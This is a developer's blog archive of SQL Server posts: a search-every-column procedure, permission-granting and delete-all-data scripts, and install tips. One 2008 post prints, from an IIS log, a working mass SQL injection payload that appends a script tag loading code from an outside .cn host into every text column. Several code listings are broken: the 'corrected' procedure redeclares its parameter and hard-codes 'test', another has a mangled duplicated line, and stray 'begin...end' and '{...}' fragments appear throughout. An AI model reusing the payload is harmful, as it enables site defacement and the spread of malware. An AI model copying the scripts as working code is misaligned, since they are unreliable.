Friday, February 19, 2010

Search every table and field in a SQL Server Database Updated

As some of my blog posts are a little out of date, I thought I would spend some time updating the most popular ones. As I use this script on a regular basis and there was an error with the original posting, I thought I'd update it with a "corrected" version to get things started.

If you want to see the original script, you can refer to How to search every table and field in a SQL Server Database. This one's just fixed :)

CREATE PROC SearchAllTables
(
    @SearchStr nvarchar(100)
)
AS

BEGIN
DECLARE @SearchStr nvarchar(100)
SET @SearchStr = 'test'
    -- Copyright © 2002 Narayana Vyas Kondreddi. All rights reserved.
    -- Purpose: To search all columns of all tables for a given search string
    -- Written by: Narayana Vyas Kondreddi
    -- Site: http://vyaskn.tripod.com
    -- Tested on: SQL Server 7.0 and SQL Server 2000
    -- Date modified: 28th July 2002 22:50 GMT
    CREATE TABLE #Results (ColumnName nvarchar(370), ColumnValue nvarchar(3630))

    SET NOCOUNT ON

    DECLARE @TableName nvarchar(256), @ColumnName nvarchar(128), @SearchStr2 nvarchar(110)
    SET  @TableName = ''
    SET @SearchStr2 = QUOTENAME('%' + @SearchStr + '%','''')

    WHILE @TableName IS NOT NULL
    
    BEGIN
        SET @ColumnName = ''
        SET @TableName = 
        (
            SELECT MIN(QUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME))
            FROM     INFORMATION_SCHEMA.TABLES
            WHERE         TABLE_TYPE = 'BASE TABLE'
                AND    QUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME) > @TableName
                AND    OBJECTPROPERTY(
                        OBJECT_ID(
                            QUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME)
                             ), 'IsMSShipped'
                               ) = 0
        )

        WHILE (@TableName IS NOT NULL) AND (@ColumnName IS NOT NULL)
            
        BEGIN
            SET @ColumnName =
            (
                SELECT MIN(QUOTENAME(COLUMN_NAME))
                FROM     INFORMATION_SCHEMA.COLUMNS
                WHERE         TABLE_SCHEMA    = PARSENAME(@TableName, 2)
                    AND    TABLE_NAME    = PARSENAME(@TableName, 1)
                    AND    DATA_TYPE IN ('char', 'varchar', 'nchar', 'nvarchar', 'int', 'decimal')
                    AND    QUOTENAME(COLUMN_NAME) > @ColumnName
            )
    
            IF @ColumnName IS NOT NULL
            
            BEGIN
                INSERT INTO #Results
                EXEC
                (
                    'SELECT ''' + @TableName + '.' + @ColumnName + ''', LEFT(' + @ColumnName + ', 3630) FROM ' + @TableName + ' (NOLOCK) ' +
                    ' WHERE ' + @ColumnName + ' LIKE ' + @SearchStr2
                )
            END
        END    
    END

    SELECT ColumnName, ColumnValue FROM #Results
END

DROP TABLE #Results

Search every table and field in a SQL Server Database Updated

Useful Links:            Comments [0]  Trackback

Tags: SQL | SQL Server | Stored Procedure

 Thursday, May 29, 2008

A seriously elegant SQL Injection -how it was sorted

Doug Setzer posted this comment in response to my recent "A seriously elegant SQL Injection" post and I thought it may be of interest to others so have promoted it to a post...

Well, I'll step up and say that I am the "mate" who had this done.  Tim's right - *always* sanitize your inputs.  In my defence, this was a site that I inherited from a previous contractor.  I'm not entirely absent of blame, I still should have done a security sweep through the code.

I'd like to document the steps that I went through once this was identified to try and avoid this kind of thing in the future.

1. Edit every web page that executes a query to sanitize any parameters that are passed in.  Since the site was classic ASP, I used my "SQLStringFieldValue" function:
   www.27seconds.com/kb/article_view.aspx?id=50
2. Modify the DB user account that is used to have *read only* access to the database
3. Modify the pages that DO write to the database to have *read/write* access to the specific tables that are being changed.  This limits the number of places that SQL Injection can occur to a smaller set than was previously possible.  I still sanitize all of my input, but I'm extra spastic in these database calls.
4. Add database auditing (triggers writing to mirror tables with audit event indicator & date/time) to see when data changes occur.  This is still problematic with the pages that have "write" permissions to the tables, but again- that footprint is much smaller.

My future plans are to move to a view/stored procedure based architecture.  I can then limit write permissions to just the stored procedures and read permissions to just the views.  My grand gusto plans are to move to using command objects & parameters, but I'd sooner re-write the entire site.

Although Doug's attack wasn't the same nihaorr1.com attack that's going around atm it was similar so I would imagine other's will find this useful.

It still amazes me how many developers still fail to sanitise strings, only last week I came across another site (in PHP) that was allowing simple SQL injections to be used to log into their administration system. It was down to a problem with the sanitization string, but why not at least check your site before it goes live? It takes 2 minutes and even less to fix...

For those of you who need a few pointers, there's a good discussion or two about sanitising strings on the 4 Guys From Rolla site.

A seriously elegant SQL Injection -how it was sorted

Useful Links:            Comments [2]  Trackback

Tags: ASP | ASP.Net | C# | Development | IIS | Security | SQL Server | Web Development

 Wednesday, May 28, 2008

A seriously elegant SQL Injection

Having been subject to a recent hack myself I can sympathise with one of my mates who had a SQL injection attack succeed on one of his sites earlier today. Admitadly mine was due to poor internal maintanence whereas this is almost a piece of art...

This is an extract from the IIS log file:

This works out to:

DECLARE @T varchar(255), @C varchar(255) 
DECLARE Table_Cursor
CURSOR FOR 
select
    a.name,b.name 
from
    sysobjects a,syscolumns b 
where 
    a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) 

OPEN Table_Cursor 
FETCH NEXT 
FROM  Table_Cursor INTO @T,@C 
WHILE(@@FETCH_STATUS=0)

begin...end 

    BEGIN
        exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+']))+''<script src=http://hackersscriptdomain.cn/a.js></script>''')
        FETCH NEXT FROM  Table_Cursor INTO @T,@C 
    END 

CLOSE Table_Cursor 

DEALLOCATE Table_Cursor

Very nice :) (though I can't condone hacking -no matter how elegant it is!)

p.s. The moral of the story is Always sanitise your strings -it's easy!

A seriously elegant SQL Injection

Useful Links:            Comments [1]  Trackback

Tags: Internet | SQL Server | Web Development

 Wednesday, May 14, 2008

Native client cannot be found while installing SQL Server 64

We're having fun and games with the new internal dev server. We've got for Windows Server 2008 x64 for a laugh and today was a corker, while trying to install SQL Server 2005 x64 onto the box we repeatedly got an error along the lines of "native client cannot be found sqlncli_x64.msi".

Searching around the install DVD/files didn't reveal anything useful, turns out (after a little Googeling) that Microsoft install the wrong version of the SQL Server Native client tools as part of the prerequisites -instead of the 64bit version you'd expect, they go and install the 32bit which then makes the rest of the installer complain...

Classic! Anyway, thanks to Eric Falsken for the heads up on that error...

Native client cannot be found while installing SQL Server 64

Useful Links:            Comments [0]  Trackback

Tags: Windows | SQL Server | The Site Doctor

 Tuesday, April 15, 2008

SQL Server Management Studio won't install over SQL Server Management Studio Express

Since re-installing my main development machine recently, I've had a real irritation -I had to resort to SQL Server Management Studio Express as I couldn't get the full version installed. This wasn't a problem until today when I had to re-create some full text catalogs (which is one of the things you can't do using the GUI in SQL Server Management Studio Express).

I did look into getting this working before giving up before due to time constraints but this time I had no choice but this time I must have done something differently.

Just to bring you up-to speed, whenever I tried to install SQL Server Management Studio using the SQL Server 2005 installer, I got an error message something along the lines of "Edition Version Conflict". The installer then suggests you uninstall the express tools (which you do) and you try again just to get the same error message.

Most people on Google are just resorting to a complete re-install of your machine but I've found that's because you're not uninstalling the right thing. First thing I did this time was remove Microsoft SQL Server 2005 completely but near the end of the installer it asks you if you want to remove or modify. This time, I chose modify and set all the components to "Entire Feature will be Unavailable". That then seems to uninstall it fully for you. Now uninstall SQL Server Management Studio Express and you're done :)

Hope that helps someone else (or me in a few months time...)

SQL Server Management Studio won't install over SQL Server Management Studio Express

Useful Links:            Comments [2]  Trackback

Tags: SQL Server | The Site Doctor | WebDD

 Friday, November 02, 2007

How to search every table and field in a SQL Server Database

Update: I have corrected the original issue with this script. Please see Search every table and field in a SQL Server Database Updated.

Today I had an issue with Umbraco and a copy of a deleted page appearing in the menu, I'll post how I fix it if I ever do find the answer but while trying to track the issue down I came across a really useful piece of T-SQL from Narayana Vyas Kondreddi (Vyas) that searches each table in a database and then each field in the table. I had to expand it to include integers etc but all credit to him! For reference here's a copy of the code:

Search all tables and fields in a SQL Server Database

CREATE PROC SearchAllTables
(
    @SearchStr nvarchar(100)
)
AS

begin...end

BEGIN
    -- Copyright © 2002 Narayana Vyas Kondreddi. All rights reserved.
    -- Purpose: To search all columns of all tables for a given search string
    -- Written by: Narayana Vyas Kondreddi
    -- Site: http://vyaskn.tripod.com
    -- Tested on: SQL Server 7.0 and SQL Server 2000
    -- Date modified: 28th July 2002 22:50 GMT
    CREATE TABLE #Results (ColumnName nvarchar(370), ColumnValue nvarchar(3630))

    SET NOCOUNT ON

    DECLARE @TableName nvarchar(256), @ColumnName nvarchar(128), @SearchStr2 nvarchar(110)
    SET  @TableName = ''
    SET @SearchStr2 = QUOTENAME('%' + @SearchStr + '%','''')

    WHILE @TableName IS NOT NULL

    begin...end

    BEGIN
        SET @ColumnName = ''
        SET @TableName = 
        (
            SELECT MIN(QUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME))
            FROM     INFORMATION_SCHEMA.TABLES
            WHERE         TABLE_TYPE = 'BASE TABLE'
                AND    QUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME) > @TableName
                AND    OBJECTPROPERTY(
                        OBJECT_ID(
                            QUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME)
                             ), 'IsMSShipped'
                               ) = 0
        )

        WHILE (@TableName IS NOT NULL) AND (@ColumnName IS NOT NULL)

        begin...end    

        BEGIN
            SET @ColumnName =
            (
                SELECT MIN(QUOTENAME(COLUMN_NAME))
                FROM     INFORMATION_SCHEMA.COLUMNS
                WHERE         TABLE_SCHEMA    = PARSENAME(@TableName, 2)
                    AND    TABLE_NAME    = PARSENAME(@TableName, 1)
                    AND    DATA_TYPE IN ('char', 'varchar', 'nchar', 'nvarchar', 'int', 'decimal')
                    AND    QUOTENAME(COLUMN_NAME) > @ColumnName
            )
    
            IF @ColumnName IS NOT NULL

            begin...end

            BEGIN
                INSERT INTO #Results
                EXEC
                (

                    'SELECT ''' + @TableName + '.' + @ColumnName + ''', LEFT(' + @ColumnName + , 3630) + @TableName + ' (NOLOCK) ' +

                    'SELECT ''' + @TableName + '.' + @ColumnName + ''', LEFT(' + @ColumnName + ', 3630) 
                    FROM ' + @TableName + ' (NOLOCK) ' +

                    ' WHERE ' + @ColumnName + ' LIKE ' + @SearchStr2
                )
            END

        END    

    END

    SELECT ColumnName, ColumnValue FROM #Results
END

How to search every table and field in a SQL Server Database

Useful Links:            Comments [1]  Trackback

Tags: SQL Server

 Tuesday, May 01, 2007

ASP.Net Membership SQL Roles access

We have recently moved over to SQL Server 2005 and as part of this transfer I decided to aggregate two separate ASP.Net Membership databases that were created purely out of error.

For those of you who don’t already know, you can happily run more than application’s security from a single membership database as long as you correctly configure the web.config’s security settings –for more information on doing that see my post on having dual records in the ASP.Net authentication table (see: Dual Records In The ASPNet Authentication Table). The important attribute/value set to configure if you are planning on running more than one application from the same roles database is “applicationName”. If you do not set “applicationName” you will find that users can log in across all your applications, roles/access levels will get mixed up and a whole bunch of other hullabaloo!

Luckily for me, the only records stored in one of the membership databases were two users, both of which I knew the password to so I decided I would simply update the web.config with the new database connection string and add them manually.

The next thing I wanted to sort however was the specific SQL Login’s access to the membership database, previously I simply added the user to all the various aspnet_ roles that were in the database which worked fine. As I’m looking to use this database for other applications in the future and I don’t like sharing usernames/passwords across applications, adding the roles each time would become a real PITA so I decided to add a new role with all the access required for the database so I could simply add the user to this new role. I called the role IIS_User.

A number of our applications build on the foundation of the ASP.Net Membership database with application specific values and so I tend to have another table for the application’s users within the applications specific database to store these values. The user has the usual UserId (usually an int) and a uniqueidentifier which allows me to link the two database together. With this in mind, I need additional access to the ASP.Net Membership database –SELECT permission on the tables. I don’t like adding more permissions to a role than needed but I needed a method of doing this quickly –assigning EXECUTE and SELECT permissions to the new role on the various tables/stored procedures. In time I’ll revisit this and work out which are needed by the role and remove the permissions not needed but for now this’ll do :)

The quick and dirty T-SQL

DECLARE @SQL nvarchar(4000),
    @Owner sysname,
    @objName sysname,
    @Return int,
    @objType nvarchar(5),
    @rolename nvarchar(255)

SET @rolename = 'IIS_User'

-- Cursor of all the stored procedures in the current database
DECLARE cursStoredProcedures CURSOR FAST_FORWARD
FOR
SELECT 
    USER_NAME(uid) Owner, 
    [name] StoredProcedure,
    xtype
FROM
    sysobjects
WHERE
(
    xtype = 'U'
  OR
    xtype = 'P'
)
  AND
    LEFT([name], 7) = 'aspnet_'

OPEN cursStoredProcedures

-- Get the first row
FETCH NEXT FROM cursStoredProcedures
INTO @Owner, @objName, @objType

-- Set the return code to 0
SET @Return = 0

-- Encapsulate the permissions assignment within a transaction
BEGIN TRAN

-- Cycle through the rows of the cursor
-- And grant permissions
WHILE ((@@FETCH_STATUS = 0) AND (@Return = 0))

  begin...end

  BEGIN

    --Determine the object's type (table/stored procedure) -could 
    --be done using a case too if more objects are added later
    IF @objType = 'P'

    begin...end

    BEGIN
        SET @SQL = 'GRANT EXECUTE ON [' + @Owner + '].[' + @objName  + '] TO ' + @rolename
    END

    IF @objType = 'U'

    begin...end

    BEGIN
        SET @SQL = 'GRANT SELECT ON [' + @Owner + '].[' + @objName  + '] TO ' + @rolename
    END

    -- Execute the SQL statement
    EXEC @Return = sp_executesql @SQL

    -- Get the next row
    FETCH NEXT FROM cursStoredProcedures
    INTO @Owner, @objName, @objType
  END

-- Clean-up after the cursor
CLOSE cursStoredProcedures
DEALLOCATE cursStoredProcedures

-- Check to see if the WHILE loop exited with an error.
IF (@Return = 0)

  begin...end

  BEGIN
    -- Exited fine, commit the permissions
    COMMIT TRAN
  END

ELSE

  begin...end

  BEGIN
    -- Exited with an error, rollback any changes
    ROLLBACK TRAN
    
    -- Report the error
    SET @SQL = 'Error granting permission to ['
    + @Owner + '].[' + @objName + ']'
    RAISERROR(@SQL, 16, 1)
  END

GO

ASP.Net Membership SQL Roles access

Useful Links:            Comments [0]  Trackback

Tags: ASP.Net | SQL Server | Web Development

 Tuesday, April 17, 2007

SQL Server Delete all data

I expect many people already know about this technique but I wanted to share it with those that don’t. The other day I needed to remove all data from a database before importing data from another database. I usually use DTS to copy the data across but knew that the database (one test) had conflicting ids so I decided deleting all the data out of the test database would be the best way to ensure all data’s up to date.

I found this useful little set of SQL at: http://sqljunkies.com/WebLog/roman/archive/2006/03/03/18386.aspx, there are two solutions propsed within the post and comments so here they both are:

Delete the data without resetting the identities

-- disable referential integrity
EXEC sp_MSForEachTable 'ALTER TABLE ? NOCHECK CONSTRAINT ALL'
GO

EXEC sp_MSForEachTable 'DELETE FROM ?'
GO
-- enable referential integrity again
EXEC sp_MSForEachTable 'ALTER TABLE ? CHECK CONSTRAINT ALL'
GO

Delete the data and reset the identities

-- disable referential integrity
EXEC sp_MSForEachTable 'ALTER TABLE ? NOCHECK CONSTRAINT ALL' 
GO 

EXEC sp_MSForEachTable 'TRUNCATE TABLE ?' 
GO 

-- enable referential integrity again 
EXEC sp_MSForEachTable 'ALTER TABLE ? CHECK CONSTRAINT ALL' 
GO

SQL Server Delete all data

Useful Links:            Comments [6]  Trackback

Tags: SQL Server | Web Development

 Wednesday, February 28, 2007

SQL Server SP2 quirks

Ok, as sad as it sounds I've been looking forward to the latest SQL Server service pack since I heard about some of the issues it fixed as there was two "glitches" in particular that seriously bugged me, namely:

• Loading a SQL file into the query editor on a live connection would ask you to log in again -this bugged the hell out of me because I have a number of routines saved on my disk as SQL files that manage client's servers and so I don't always have the password to easily hand which would just delay development (ok all be it by 30seconds or so but that's not the point)
• It would never remember my password in the initial splash screen, again see why above.

Anyway, it's great to see that these two points were fixed as well as a load of other issues but I couldn't help but chuckle when I saw the new context menus, I don't know about you but when editing this table I didn't know which one I needed to choose:

FWIW you need "Design" to open the design view and "Edit" to generate a SQL CREATE Script. Genius!

SQL Server SP2 quirks

Useful Links:            Comments [0]  Trackback

Tags: SQL Server

 Monday, November 13, 2006

Making sense of database responses

We're nearing the end of a large system for the lovely people over at Consolidated Communications Management Ltd and we've just come across a nice idea to make sense of database responses. Typically in the past we've simply returned -1/0 for failure and a positive integer (usually an id) of it was successful. The new method should add a little more conformity to our code. We already use a common Database Access Layer which handles the opening/closing of our connection, adding parameters etc but I’ve just added an enum with the common database responses, thought it may be of use to others:

public enum DatabaseResponse

{...}

{
    Success = 0,
    Init = -1,
    Found = -2,
    NotFound = -3,
    Duplicate = -4
}

This should cover the common responses from our database however to make it a little more futureproof we'll keep -1 through to -10 reserved for this data level and then start more specific responses from -11 (i.e. BadPassword).

Using it is simple (this is not real code before you ask!):

public bool Save()

{...}

{
    DatabaseLayer DBLayer = new DatabaseLayer();

    //Check whether we should be saving or inserting this record
    if (this.Id == (int)DatabaseLayer.DatabaseResponse.Init)

    {...}

    {
        //The Id's set to initialised only so insert
        //The create method simply inserts the values into the database and returns
        //either the Id of the newly inserted record or our database response
        this.Id = DBLayer.Create(this);

        if (this.Id >= (int)DatabaseLayer.DatabaseResponse.Success)

        {...}

        {
            //The insert was a success
            return true; 
        }

        else

        {...}

        {
            //The insert failed for some reason -you could throw an error 
            //to catch or simply bubble the response upto to the code behind layer
            return false; 
        }

    }

    else

    {...}

    {
        //When updating the record don't use the Id to store the response, instead
        //throw it into a temp object and use that so the Id's still stored in the object
        int response = DBLayer.Update(this);

        if (response == (int)DatabaseLayer.DatabaseResponse.Success)
            return true; //All's ok
        else
            return false; //Something went wrong -it could be the item wasn't found etc
    }

}

Making sense of database responses

Useful Links:            Comments [1]  Trackback

Tags: ASP | ASP.Net | SQL Server

 Monday, October 09, 2006

Stored Procedure to assign permissions

This is a useful stored procedure for assigning permissions to users quickly and easily. We tend to assign a new login to each application we develop, this way we limit the damage possible in the event of a username/password compromise.

Note 1: In addition, we tend to prefix our database objects with useful prefixes to group relevant tables, i.e. if we had login information stored in the database we may use “Login_” as the prefix, using this method with this Stored Procedure to assign permissions you can easily select the relevant objects. So you could alter the stored procedure a touch:

Stored Procedure to assign permissions

Useful Links:            Comments [0]  Trackback

Tags: SQL Server

 Thursday, September 28, 2006

SQL Server a memory hog? No, not at all

Craig found an amusing dity today, he was messing around with the settings in SQL Server Express and noticed these memory settings:

For those of you who don’t want to deliminate it, that’s:

• 2,147,483,647 Megabytes
• 2,147,483 Gigabytes
• 2,147 Terabytes
• Or 2 Petabytes!!

One does have to wonder what sort of super computer Microsoft are expecting to have run the database. It's certainly future-proof that's for sure. I'd love to have 1TB of RAM, let alone 2PB! So the next time you wonder what’s taking up all the memory, best check SQL Server –you might just find that lost Petabyte…

BTW if this blog post is still around when Petabytes are as common as Mega and Gigabytes are now then feel free to lean back in your chair and recollect “the good ol’ days” when computers only had 200-300GB of disk space and a couple of Gig’s RAM.

SQL Server a memory hog? No, not at all

Useful Links:            Comments [0]  Trackback

Tags: SQL Server

 Monday, July 03, 2006

Bulk Granting EXECTUTE Permission on SQL Server

Here's some code I regularly find useful when going from a dev server to a production server (or changing the username), I'm sure there's a more automated way but for a quick fix...

DECLARE @username varchar(100)
SET @username = 'xyz'
SELECT
    'GRANT EXECUTE ON ' + name + ' TO ' + @username
FROM
    sysobjects
WHERE
    xtype = 'p'
AND
     LEFT(name, 4) = 'PRE_'

The code is simple, it lists all the stored procedures with a set prefix and generates the T-SQL to grant EXECUTE permissions to a given user.

To use it, set the username, update the last line if you would like to limit it's bounds (we prefix ours for clarity i.e. SProcs with a prefix of CMS_ are used in the Content Management System) and run it, then copy the results and run them in a Query Analyser.

Bulk Granting EXECTUTE Permission on SQL Server

Useful Links:            Comments [0]  Trackback

Tags: SQL Server